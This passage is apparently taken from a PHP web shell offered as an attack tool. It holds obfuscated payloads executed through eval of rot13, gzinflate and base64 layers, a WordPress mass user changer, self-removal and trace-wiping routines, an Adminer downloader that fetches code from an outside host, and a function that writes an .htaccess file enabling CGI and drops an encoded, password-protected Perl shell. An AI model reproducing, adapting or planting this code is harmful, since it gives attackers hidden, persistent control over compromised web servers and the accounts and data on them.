lsdGU5d1U5K29UR05xbnVCL3YvcHliVHhiL2RhWitPM0IyelhtaFJVdnNDMnMvdE1hYVdaUVR1WUM3R2NqN2s4K09YZWZmOTc3aWV4ODVtbWdtVStDSVR2WEV4c3FleGRjSDJIUkpCUXUreHk3ekNNN2Y3czZ2NzBoTy9MZlpqNVg0SDRMR2o5TXRwcCtBaG9WcDUrRVlRS0JIZGs1NGFtNGlGQXZPbTJWQ2FJNWtFb3lUY0JobXh0YU1XTWh4ZmJzVm5rTFpYY1hTcnJVRHNsZi9uWDIvdHJ1dGM3N242OWliU2VkMjk0VCtkZitxN0xweVplVDd0ZUNWMWRRN2lUNlNZbTQzYngrUlZoaWFadFVQeHk4MlFlU3lpNG50eGZsWWhPWGozTWRZY2JmOUUyNWRZblBlc1VzN2xSZVEvWWluaVJGMzMvNzREWGtCQXJ3eWtQYTBwUndDblpsa2QyTVNiWEJqUHVPbFRVYkVtQzNFRzlCNGExbzNlVzB1K3FEek5CdU5mWmYvYno5L3VHOTdNc3k2cXpYeXNUS09Wa2J6TkxOTDYrL3FpWkdYVVhLekJob1dPcVVMUVdadU92eUlZUjNCRDJIU0tLeDlyWE9FWFJFalJ3ZGs5ckYxZTFlNmRvdVRFL2srQ09vRW1DRU5FelMrbldjb3I5TUR6SGZ4blVBMWF1c0oxN2RrblVZM1dwSDFuQyt2ZEFnMHg1dlBkQlBxNkFoc242Z0F2MWMyZGZrYkhxdnhQKzVFcTdoOGpxOUh1NStjWUVwRWo4VWVVNm9YMU4ra2dpdzEyMFlFeGphUW93aE1TTkRUbURLUGd2a3Q4TXFBVERIM1dwWTIzekt1alJhaFJ1SUNvRUUzbm9NakM0WUZ3RVYwSVZkLzNNMHg2V2hIMnZteEFzZ0tJMkI1VjdRbnlSbkJObWpBTGsrcStBSk00L2FURGJQbjZlclExdVFWajBreWlpaEV5eUU4RGdTVDc2RTQwdUR5TXFDdHlrTzRPSU1DV0NMQWNNcWtTOVM0aGp3cmtPa0ZBbWhZZUlnN2w5d0FkNWcvZHZBYVlCMEdJaG9yQlFMTCtzMGduNGpTakhkUEl0T3FGaWdwKzIyS3NpU0xteHMrRTlzY2U1UGIzSEpDNG1pc2hjU0krVlNKL3JOR09vbUVsQ0ZQUkpRY2g4a0JnUStGdUVORnVGcXRRNkxJb01mQ2FHQ2R4VlZ4WWdiVVhiQVNScTFJc2lGQkRFaHlKOEFVQzR6WUE0RG11QVZ3ZXVCU2dPSlkyamFPc2RQME5Wc3B5SlJoSWQxdGMvT1Fadm5QWG5BdHJJL1kzRDluQm5DQ2Ftc1JITkRESGxuZWEvc1UxN2daTmNudnhyd0dMd3MzVUVUNi8zeWxSVVNJc0JRbkRZLzlacExERGNVTGhLREdzRG8zbHozUWREYmtzVENVMktNQ1JDdFFhZlo2eGhFaWJ0dmNtTDBJclVNQUhJNTExbkdOWk5pa1NpWDF6YzMrT1JuR1NjSlBqbU5qS0JjdHYrT1V2Q0hTMXJRQ0xlZGs4NnZQU3dJdC9seDVhTk5VcERVQklqT0NYUENWS2NGTTA2a3NjeUVSV0FRcTN2VjYvNXAybE9iS2hMQkkvWFJtcG1CeVdVTnRtN05rZzIyVUJ5WmdibnN0SDdyYnZmcGtyTlVnVFh2eUFSVnE5ZDZON0ZzcHlVQzM4V21ESE1DcE5XNXdUOGc4UVQvWTNFQVVJYVBnZEF4RURaVmlMTnBzM3ZWZG02OTdNeHFnNGd6cklzNGMyQTYzZTUyRzkzRmFvS0ErdWdPbkJ0T2RyZlFRa3Q2aG40NDh2RVFUUE51cGtndzB5VDh2NUl1NlVteGZmc3R0dWxCc1FCTXpjSy9wWndDb2Q4L085d1cySXl0dlJaZHdUSVlVQSsrSmw2OWpGTUxmK204cEE5TVhFY2dwdy81VUNzZUNRdWgzaWtqTWE0TVlGbGZCSnNCTW00WEF6dWtYazBpTWJUTGJ3WFJMK21Nb0tEM0tBOTJNekIxWkZsU2NGN1JrRGhEUTdBeG9BdUJvVlV5NG4vRkorUENtR3g3YlA0dGZUenVIOElPS24ydTlUOXRvVTdFeGM4Q29pRU5XRGo3bVZrMFhJRVVNL3IyemV0cVJnaVp5cVVmU3ZvQVNMYlVISndacEN0d1ZkT2ljUkxPbkwxeDBqSUNOdXV1R0NTZExNd0lwVmlXVGl4USs1aVhMNU5naGxITFdKbFdNRkNpVGt3ekUxSzZ1Qm1OeU9wZXUzemd1enh4STRka3NsQWczYkpzeXZNNW52bko2UmNNVkJYelBEd0ZUcVlEUFhkVGVDSlhNMDBaODNKbW40cmZMQUF3Vzg3b2lZaUVpWEpxbEJpSzcwZUtGYk5ISmJ2dmxTMmh4azlxNThlcnlqOXd4NWU2bE5qc3p1cStqUEIyOXRKR1VuZ3ZuUzdOZjRyNXhxMWNqSVc1eTIrR1NYaXFCbURWdFpMRzh1SzZidGgwaFZ5WXp5eTJJcHY0T3lMUFZTckg5VU52RnJKMnNLV1NLR1l0bVJwOUVlZmxScVl6Q2hzWklyMFNIRzllem0vcWJuUEorN2toMGRJVTZPeDg2TXhWZFhhMms1U0dQdk5ZK1R5b25CZzlnK1NSamhJeE53Tk5XNkgxMm5iTUZ4cHMvV3B5UjQyQ1ltNWVtSHlwbzYyTzQ0cno0b3Y1Um4xbVdPMHdrTFhXUFQ3a0pHWEYrT2hoTVhMZDFZNFB4MkJ1RXRDRXVsU2p4QmZIbjZndERpMXM5ZmpRNHZDYndkUythTFp0U1pyTmpXeHNWL1BUUmFBbS9DOFp3OExSb3ZEWmIwdlhMYi9XYjk4azZ0SmNTMDdjTEJWSmxqaGJZbGwxOVQwRUw1Wk5STTBJV2szcVczeWVsVjFHU0JaOXRwSnpSVTd2a0pKSGF4RU5KVFFBM3RVSUR5UVFuRmduTE9UKzdydFFkVzBTVlhESFZ5QTUyUzQvbGxFZ3RvUWtTU1BEUUI0a1kyZEhsL2ZxeEtVRE9INW1RNWVPREZTdkR3N3FBSmJMcGNUSUdoN1NxS2xXU0ExSFVYRW1xWlh6MDl4VVJhVGN4SWROcm96elhWcWZnaWlaZFcyWDRKd3dZcGpJS3dPWkNkK1R0ejhlT0E4ZjRGTWs0bGJrd1kzWEI2QzBSWmJxT2ZsN0RxRUhOOEMzQzBZVE9EbTA5SUt5R0dZa01wQ25OTC9DVEFXaXpQT0JycVdQaUtZdmtTNEtTbndEQnBEOW9nNVZpZXRWT2tWVG5SdnZNTFloaVJOaTZDaHRmNVRHMG1BNVlBdFo3WDMvdldjQXl3dmxQKzdVcWZUMlBaR2ZqLzhMIjsKZXZhbChzdHJfcm90MTMoZ3ppbmZsYXRlKHN0cl9yb3QxMyhiYXNlNjRfZGVjb2RlKCgkaGV4KSkpKSkpOyA=";
            $mass = fopen($file_mass, "w");
            fwrite($mass, "<?pHp \$hex = \"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\";\neval(str_rot13(gzinflate(str_rot13(base64_decode((\$hex)))))); ");
            echo "<br><center>  <iframe src='priv_sym/conf.php' width='900' height='480'></iframe></a>";
            echo "</div>";
            hardFooter();
        }
        function actionEdituser()
        {
            hardHeader();
            echo "<center><h1>Wordpress Mass User Changer</h1><div class=content><br>";
            echo "<br><center>  <iframe src='?user' width='900' height='400'></iframe></a>";
            echo "</div>";
            hardFooter();
        }
        function actionLogout()
        {
            exec("rm -rf priv_sym priv_cgi adminer.php");
            setcookie(md5($_SERVER['HTTP_HOST']), '', time() - 3600);
            die("<style>\r\n\tbody {background-color:#000000; background-image:url('https://i.imgur.com/hLcQCBx.gif'); } </style></br></br><body><pre align=center><form method=post style='color:#ffffff;text-align: center;'>Bye -,-<br><br></form> </body>");
        }
        function actionSelfRemove()
        {
            if ($_POST['p1'] == 'yes') {
                if (@unlink("/var/www/html/input.php")) {
                    die('Shell has been removed');
                } else {
                    echo "unlink error!";
                }
            }
            if ($_POST['p1'] != 'yes') {
                hardHeader();
            }
            echo "<h1>Suicide</h1><div class=content>Really want to remove the shell?<br><a href=# onclick=\"g(null,null,'yes')\">Yes</a></div>";
            hardFooter();
        }
        function actionAdminer()
        {
            hardHeader();
            echo "<center><h1>Adminer</h1><div class=content><br>";
            $full = str_replace($_SERVER['DOCUMENT_ROOT'], "", $dir);
            function adminer($url, $isi)
            {
                $fp = fopen($isi, "w");
                $ch = curl_init();
                curl_setopt($ch, CURLOPT_URL, $url);
                curl_setopt($ch, CURLOPT_BINARYTRANSFER, true);
                curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
                curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
                curl_setopt($ch, CURLOPT_FILE, $fp);
                return curl_exec($ch);
            }
            if (file_exists('adminer.php')) {
                echo "<center><font color=white><br><br><a href='adminer.php' target='_blank'>[ Adminer login ]</a><br><br><br></font></center>";
            } else {
                if (adminer("https://www.adminer.org/static/download/4.2.4/adminer-4.2.4.php", "adminer.php")) {
                    echo "<center><font color=white><br><br><a href='adminer.php' target='_blank'>[ Adminer login ]</a><br><br></font></center>";
                } else {
                    echo "<center><font color=red>Failed to create Adminer file</font></center>";
                }
            }
            hardFooter();
        }
        function actionBruteforce()
        {
            hardHeader();
            echo "<center><h1>Cgi Telnet</h1><div class=content><br>";
            $cgi_dir = mkdir('priv_cgi', 0755);
            chdir('priv_cgi');
            $file_cgi = "cgi.priv";
            $memeg = ".htaccess";
            $isi_htcgi = "OPTIONS Indexes Includes ExecCGI FollowSymLinks \n AddType application/x-httpd-cgi .priv \n AddHandler cgi-script .priv \n AddHandler cgi-script .priv";
            $htcgi = fopen(".htaccess", "w");
            $cgi_script = "IyEvdXNyL2Jpbi9wZXJsIC1JL3Vzci9sb2NhbC9iYW5kbWluCnVzZSBNSU1FOjpCYXNlNjQ7CiRWZXJzaW9uPSAiUFJJVjgtU0hFTEwgVmVyc2lvbiAxLjMiOwokRWRpdFBlcnNpb249Ijxmb250IHN0eWxlPSd0ZXh0LXNoYWRvdzogMHB4IDBweCA2cHggcmdiKDI1NSwgMCwgMCksIDBweCAwcHggNXB4IHJnYigzMDAsIDAsIDApLCAwcHggMHB4IDVweCByZ2IoMzAwLCAwLCAwKTsgY29sb3I6I2ZmZmZmZjsgZm9udC13ZWlnaHQ6Ym9sZDsnPlBSSVY4LVNIRUxMPC9mb250PiI7CgokUGFzc3dvcmQgPSAicHJpdjhzaGVsbCI7CQkJIyBDaGFuZ2UgdGhpcy4gWW91IHdpbGwgbmVlZCB0byBlbnRlciB0aGlzIHRvIGxvZ2luLgpzdWIgSXNfV2luKCl7Cgkkb3MgPSAmdHJpbSgkRU5WeyJTRVJWRVJfU09GVFdBUkUifSk7CglpZigkb3MgPX4gbS93aW4vaSl7CgkJcmV0dXJuIDE7Cgl9CgllbHNlewoJCXJldHVybiAwOwoJfQp9CiRXaW5OVCA9ICZJc19XaW4oKTsJCQkJIyBZb3UgbmVlZCB0byBjaGFuZ2UgdGhlIHZhbHVlIG9mIHRoaXMgdG8gMSBpZgoJCQkJCQkJCSMgeW91J3JlIHJ1bm5pbmcgdGhpcyBzY3JpcHQgb24gYSBXaW5kb3dzIE5UCgkJCQkJCQkJIyBtYWNoaW5lLiBJZiB5b3UncmUgcnVubmluZyBpdCBvbiBVbml4LCB5b3UKCQkJCQkJCQkjIGNhbiBsZWF2ZSB0aGUgdmFsdWUgYXMgaXQgaXMuCgokTlRDbWRTZXAgPSAiJiI7CQkJCSMgVGhpcyBjaGFyYWN0ZXIgaXMgdXNlZCB0byBzZXBlcmF0ZSAyIGNvbW1hbmRzCgkJCQkJCQkJIyBpbiBhIGNvbW1hbmQgbGluZSBvbiBXaW5kb3dzIE5ULgoKJFVuaXhDbWRTZXAgPSAiOyI7CQkJCSMgVGhpcyBjaGFyYWN0ZXIgaXMgdXNlZCB0byBzZXBlcmF0ZSAyIGNvbW1hbmRzCgkJCQkJCQkJIyBpbiBhIGNvbW1hbmQgbGluZSBvbiBVbml4LgoKJENvbW1hbmRUaW1lb3V0RHVyYXRpb24gPSAxMDAwMDsJIyBUaW1lIGluIHNlY29uZHMgYWZ0ZXIgY29tbWFuZHMgd2lsbCBiZSBraWxsZWQKCQkJCQkJCQkjIERvbid0IHNldCB0aGlzIHRvIGEgdmVyeSBsYXJnZSB2YWx1ZS4gVGhpcyBpcwoJCQkJCQkJCSMgdXNlZnVsIGZvciBjb21tYW5kcyB0aGF0IG1heSBoYW5nIG9yIHRoYXQKCQkJCQkJCQkjIHRha2UgdmVyeSBsb25nIHRvIGV4ZWN1dGUsIGxpa2UgImZpbmQgLyIuCgkJCQkJCQkJIyBUaGlzIGlzIHZhbGlkIG9ubHkgb24gVW5peCBzZXJ2ZXJzLiBJdCBpcwoJCQkJCQkJCSMgaWdub3JlZCBvbiBOVCBTZXJ2ZXJzLgoKJFNob3dEeW5hbWljT3V0cHV0ID0gMTsJCQkjIElmIHRoaXMgaXMgMSwgdGhlbiBkYXRhIGlzIHNlbnQgdG8gdGhlCgkJCQkJCQkJIyBicm93c2VyIGFzIHNvb24gYXMgaXQgaXMgb3V0cHV0LCBvdGhlcndpc2UKCQkJCQkJCQkjIGl0IGlzIGJ1ZmZlcmVkIGFuZCBzZW5kIHdoZW4gdGhlIGNvbW1hbmQKCQkJCQkJCQkjIGNvbXBsZXRlcy4gVGhpcyBpcyB1c2VmdWwgZm9yIGNvbW1hbmRzIGxpa2UKCQkJCQkJCQkjIHBpbmcsIHNvIHRoYXQgeW91IGNhbiBzZWUgdGhlIG91dHB1dCBhcyBpdAoJCQkJCQkJCSMgaXMgYmVpbmcgZ2VuZXJhdGVkLgoKIyBET04nVCBDSEFOR0UgQU5ZVEhJTkcgQkVMT1cgVEhJUyBMSU5FIFVOTEVTUyBZT1UgS05PVyBXSEFUIFlPVSdSRSBET0lORyAhIQoKJENtZFNlcCA9ICgkV2luTlQgPyAkTlRDbWRTZXAgOiAkVW5peENtZFNlcCk7CiRDbWRQd2QgPSAoJFdpbk5UID8gImNkIiA6ICJwd2QiKTsKJFBhdGhTZXAgPSAoJFdpbk5UID8gIlxcIiA6ICIvIik7CiRSZWRpcmVjdG9yID0gKCRXaW5OVCA/ICIgMj4mMSAxPiYyIiA6ICIgMT4mMSAyPiYxIik7CiRjb2xzPSAxNTA7CiRyb3dzPSAyNjsKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFJlYWRzIHRoZSBpbnB1dCBzZW50IGJ5IHRoZSBicm93c2VyIGFuZCBwYXJzZXMgdGhlIGlucHV0IHZhcmlhYmxlcy4gSXQKIyBwYXJzZXMgR0VULCBQT1NUIGFuZCBtdWx0aXBhcnQvZm9ybS1kYXRhIHRoYXQgaXMgdXNlZCBmb3IgdXBsb2FkaW5nIGZpbGVzLgojIFRoZSBmaWxlbmFtZSBpcyBzdG9yZWQgaW4gJGlueydmJ30gYW5kIHRoZSBkYXRhIGlzIHN0b3JlZCBpbiAkaW57J2ZpbGVkYXRhJ30uCiMgT3RoZXIgdmFyaWFibGVzIGNhbiBiZSBhY2Nlc3NlZCB1c2luZyAkaW57J3Zhcid9LCB3aGVyZSB2YXIgaXMgdGhlIG5hbWUgb2YKIyB0aGUgdmFyaWFibGUuIE5vdGU6IE1vc3Qgb2YgdGhlIGNvZGUgaW4gdGhpcyBmdW5jdGlvbiBpcyB0YWtlbiBmcm9tIG90aGVyIENHSQojIHNjcmlwdHMuCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFJlYWRQYXJzZSAKewoJbG9jYWwgKCppbikgPSBAXyBpZiBAXzsKCWxvY2FsICgkaSwgJGxvYywgJGtleSwgJHZhbCk7CgkKCSRNdWx0aXBhcnRGb3JtRGF0YSA9ICRFTlZ7J0NPTlRFTlRfVFlQRSd9ID1+IC9tdWx0aXBhcnRcL2Zvcm0tZGF0YTsgYm91bmRhcnk9KC4rKSQvOwoKCWlmKCRFTlZ7J1JFUVVFU1RfTUVUSE9EJ30gZXEgIkdFVCIpCgl7CgkJJGluID0gJEVOVnsnUVVFUllfU1RSSU5HJ307Cgl9CgllbHNpZigkRU5WeydSRVFVRVNUX01FVEhPRCd9IGVxICJQT1NUIikKCXsKCQliaW5tb2RlKFNURElOKSBpZiAkTXVsdGlwYXJ0Rm9ybURhdGEgJiAkV2luTlQ7CgkJcmVhZChTVERJTiwgJGluLCAkRU5WeydDT05URU5UX0xFTkdUSCd9KTsKCX0KCgkjIGhhbmRsZSBmaWxlIHVwbG9hZCBkYXRhCglpZigkRU5WeydDT05URU5UX1RZUEUnfSA9fiAvbXVsdGlwYXJ0XC9mb3JtLWRhdGE7IGJvdW5kYXJ5PSguKykkLykKCXsKCQkkQm91bmRhcnkgPSAnLS0nLiQxOyAjIHBsZWFzZSByZWZlciB0byBSRkMxODY3IAoJCUBsaXN0ID0gc3BsaXQoLyRCb3VuZGFyeS8sICRpbik7IAoJCSRIZWFkZXJCb2R5ID0gJGxpc3RbMV07CgkJJEhlYWRlckJvZHkgPX4gL1xyXG5cclxufFxuXG4vOwoJCSRIZWFkZXIgPSAkYDsKCQkkQm9keSA9ICQnOwogCQkkQm9keSA9fiBzL1xyXG4kLy87ICMgdGhlIGxhc3QgXHJcbiB3YXMgcHV0IGluIGJ5IE5ldHNjYXBlCgkJJGlueydmaWxlZGF0YSd9ID0gJEJvZHk7CgkJJEhlYWRlciA9fiAvZmlsZW5hbWU9XCIoLispXCIvOyAKCQkkaW57J2YnfSA9ICQxOyAKCQkkaW57J2YnfSA9fiBzL1wiLy9nOwoJCSRpbnsnZid9ID1+IHMvXHMvL2c7CgoJCSMgcGFyc2UgdHJhaWxlcgoJCWZvcigkaT0yOyAkbGlzdFskaV07ICRpKyspCgkJeyAKCQkJJGxpc3RbJGldID1+IHMvXi4rbmFtZT0kLy87CgkJCSRsaXN0WyRpXSA9fiAvXCIoXHcrKVwiLzsKCQkJJGtleSA9ICQxOwoJCQkkdmFsID0gJCc7CgkJCSR2YWwgPX4gcy8oXihcclxuXHJcbnxcblxuKSl8KFxyXG4kfFxuJCkvL2c7CgkJCSR2YWwgPX4gcy8lKC4uKS9wYWNrKCJjIiwgaGV4KCQxKSkvZ2U7CgkJCSRpbnska2V5fSA9ICR2YWw7IAoJCX0KCX0KCWVsc2UgIyBzdGFuZGFyZCBwb3N0IGRhdGEgKHVybCBlbmNvZGVkLCBub3QgbXVsdGlwYXJ0KQoJewoJCUBpbiA9IHNwbGl0KC8mLywgJGluKTsKCQlmb3JlYWNoICRpICgwIC4uICQjaW4pCgkJewoJCQkkaW5bJGldID1+IHMvXCsvIC9nOwoJCQkoJGtleSwgJHZhbCkgPSBzcGxpdCgvPS8sICRpblskaV0sIDIpOwoJCQkka2V5ID1+IHMvJSguLikvcGFjaygiYyIsIGhleCgkMSkpL2dlOwoJCQkkdmFsID1+IHMvJSguLikvcGFjaygiYyIsIGhleCgkMSkpL2dlOwoJCQkkaW57JGtleX0gLj0gIlwwIiBpZiAoZGVmaW5lZCgkaW57JGtleX0pKTsKCQkJJGlueyRrZXl9IC49ICR2YWw7CgkJfQoJfQp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgUHJpbnRzIHRoZSBIVE1MIFBhZ2UgSGVhZGVyCiMgQXJndW1lbnQgMTogRm9ybSBpdGVtIG5hbWUgdG8gd2hpY2ggZm9jdXMgc2hvdWxkIGJlIHNldAojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBQcmludFBhZ2VIZWFkZXIKewoJJEVuY29kZWRDdXJyZW50RGlyID0gJEN1cnJlbnREaXI7CgkkRW5jb2RlZEN1cnJlbnREaXIgPX4gcy8oW15hLXpBLVowLTldKS8nJScudW5wYWNrKCJIKiIsJDEpL2VnOwoJbXkgJGRpciA9JEN1cnJlbnREaXI7CgkkZGlyPX4gcy9cXC9cXFxcL2c7CglwcmludCAiQ29udGVudC10eXBlOiB0ZXh0L2h0bWxcblxuIjsKCXByaW50IDw8RU5EOwo8aHRtbD4KPGhlYWQ+CjxsaW5rIGhyZWY9J2h0dHBzOi8vZm9udHMuZ29vZ2xlYXBpcy5jb20vY3NzP2ZhbWlseT1PcGVuK1NhbnMnIHJlbD0nc3R5bGVzaGVldCc+CjxtZXRhIGh0dHAtZXF1aXY9ImNvbnRlbnQtdHlwZSIgY29udGVudD0idGV4dC9odG1sOyBjaGFyc2V0PVVURi04Ij4KPHRpdGxlPlByaXY4IFNoZWxsIENnaTwvdGl0bGU+CgokSHRtbE1ldGFIZWFkZXIKCjwvaGVhZD4KPHN0eWxlPgpib2R5ewpmb250OiAxMHB0IE9wZW4gU2FuczsKfQp0ciB7CkJPUkRFUi1SSUdIVDogICMzZTNlM2UgMXB4IHNvbGlkOwpCT1JERVItVE9QOiAgICAjM2UzZTNlIDFweCBzb2xpZDsKQk9SREVSLUxFRlQ6ICAgIzNlM2UzZSAxcHggc29saWQ7CkJPUkRFUi1CT1RUT006ICMzZTNlM2UgMXB4IHNvbGlkOwpjb2xvcjogI2ZmZmZmZjsKfQp0ZCB7CkJPUkRFUi1SSUdIVDogICMzZTNlM2UgMXB4IHNvbGlkOwpCT1JERVItVE9QOiAgICAjM2UzZTNlIDFweCBzb2xpZDsKQk9SREVSLUxFRlQ6ICAgIzNlM2UzZSAxcHggc29saWQ7CkJPUkRFUi1CT1RUT006ICMzZTNlM2UgMXB4IHNvbGlkOwpjb2xvcjogI2ZmMTExMTsKZm9udDogMTBwdCBPcGVuIFNhbnM7Cn0KCnRhYmxlIHsKQk9SREVSLVJJR0hUOiAgIzNlM2UzZSAxcHggc29saWQ7CkJPUkRFUi1UT1A6ICAgICMzZTNlM2UgMXB4IHNvbGlkOwpCT1JERVItTEVGVDogICAjM2UzZTNlIDFweCBzb2xpZDsKQk9SREVSLUJPVFRPTTogIzNlM2UzZSAxcHggc29saWQ7CkJBQ0tHUk9VTkQtQ09MT1I6ICMxMTE7Cn0KCgppbnB1dCB7CkJPUkRFUi1SSUdIVDogICMzZTNlM2UgMXB4IHNvbGlkOwpCT1JERVItVE9QOiAgICAjM2UzZTNlIDFweCBzb2xpZDsKQk9SREVSLUxFRlQ6ICAgIzNlM2UzZSAxcHggc29saWQ7CkJPUkRFUi1CT1RUT006ICMzZTNlM2UgMXB4IHNvbGlkOwpCQUNLR1JPVU5ELUNPTE9SOiBCbGFjazsKZm9udDogMTBwdCBPcGVuIFNhbnM7CmNvbG9yOiAjZmZmZmZmOwp9CgppbnB1dC5zdWJtaXQgewp0ZXh0LXNoYWRvdzogMHB0IDBwdCAwLjNlbSBjeWFuLCAwcHQgMHB0IDAuM2VtIGN5YW47CmNvbG9yOiAjRkZGRkZGOwpib3JkZXItY29sb3I6ICNmZjExMTE7Cn0KCmNvZGUgewpib3JkZXIJ